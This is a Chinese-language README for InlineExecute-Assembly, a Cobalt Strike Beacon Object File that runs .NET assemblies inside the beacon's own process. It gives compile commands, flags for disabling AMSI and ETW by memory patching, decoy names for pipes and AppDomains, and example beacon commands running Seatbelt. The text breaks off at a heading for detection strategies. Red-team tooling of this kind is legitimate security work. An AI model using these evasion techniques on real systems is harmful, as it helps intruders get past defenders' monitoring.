InlineExecute-Assembly 是一个概念验证的信标对象文件 (BOF),允许安全专业人员以进程内 .NET 程序集执行的方式,替代 Cobalt Strike 传统的 fork-and-run execute-assembly 模块。InlineExecute-Assembly 将执行任何入口点为 Main(string[] args) 或 Main() 的程序集。这应允许您运行大多数已发布的工具,而无需事先进行任何修改。
BOF 会自动确定执行程序集前需加载到进程中的公共语言运行时 (CLR) 版本(v2.0.50727 或 v4.0.30319),并且在大多数情况下,如果出现问题,应能优雅退出。BOF 还支持多个标志,允许操作员在 .NET 执行前指定多种行为,包括通过内存补丁禁用 AMSI、禁用和恢复 ETW、自定义要创建的 CLR 应用程序域名称、是否创建并将程序集的控制台输出定向到命名管道或邮槽,以及允许操作员将默认入口点从 Main(string[] args) 切换为 Main()。有关用法、用例和可能检测的更多详情,请参阅下文及 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/。
最后,在与信标植入程序相同的进程中执行 .NET 程序集的优势在于,我们避免了 Cobalt Strike 的 execute-assembly 模块的默认行为——该行为会创建一个新进程来加载/注入 CLR/.NET 程序集。然而,其他 OPSEC 考量仍然存在,例如,我们执行所在的进程通常是否加载 CLR,或者我们执行的 .NET 程序集是否有任何已知签名?因此,缺点是如果某些东西被检测到并杀死(例如被 AMSI 杀死),你的信标也会被杀死。
如果没有利用安全社区成员已发布的优秀研究、工具和代码,此工具将无法存在。因此,感谢大家。最后,如果您认为以下列表中遗漏了任何人,请告知我,我将确保添加他们。
在 src 目录中,通过 x64 Native Tools Command Prompt for VS 2019 运行以下命令
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx64.o
在 src 目录中,通过 x86 Native Tools Command Prompt for VS 2019 运行以下命令
cl.exe /c inlineExecute-Assembly.c /GS- /FoinlineExecute-Assemblyx86.o
--dotnetassembly 程序集的目录路径 **必需**
--assemblyargs 传递给程序集的参数
--appdomain 更改发送的 AppDomain 的默认名称(默认值为 totesLegit,通过包含的 aggressor 脚本设置)*域始终被卸载*
--amsi 尝试通过内存补丁禁用 AMSI(如果成功,AMSI 将在进程的整个生命周期内被禁用)
--etw 尝试通过内存补丁禁用 ETW(如果成功,ETW 将在进程的整个生命周期内被禁用,除非恢复)
--revertetw 尝试通过内存补丁禁用 ETW,然后重新打补丁恢复原始状态
--pipe 更改命名管道的默认名称(默认值为 totesLegit,通过包含的 aggressor 脚本设置)
--mailslot 切换到使用邮槽重定向控制台输出。更改邮槽的默认名称(如果留空,默认值为 totesLegit,通过包含的 aggressor 脚本设置)
--main 将入口点更改为 Main()(默认值为 Main(string[] args))
执行 .NET 程序集
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe
执行带参数的 .NET 程序集
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker
执行带参数的 .NET 程序集并禁用 AMSI
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi
执行带参数的 .NET 程序集并禁用 ETW
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --etw
执行带参数的 .NET 程序集,并通过邮槽(而非默认的命名管道)重定向输出
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --mailslot
执行带参数的 .NET 程序集,并更改 aggressor 脚本中设置的默认命名管道名称
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --pipe forRealLegit
执行 .NET 程序集,并更改 aggressor 脚本中设置的默认应用程序域
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --appdomain forRealLegit
执行入口点为 Main()(而非默认的 Main(string[] args))的 .NET 程序集
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/simpleMain.exe --main
全开模式
beacon> inlineExecute-Assembly --dotnetassembly /root/Desktop/Seatbelt.exe --assemblyargs AntiVirus AppLocker --amsi --etw --appdomain forRealLegit --mailslot forRealLegit
可用于检测和缓解的一些策略: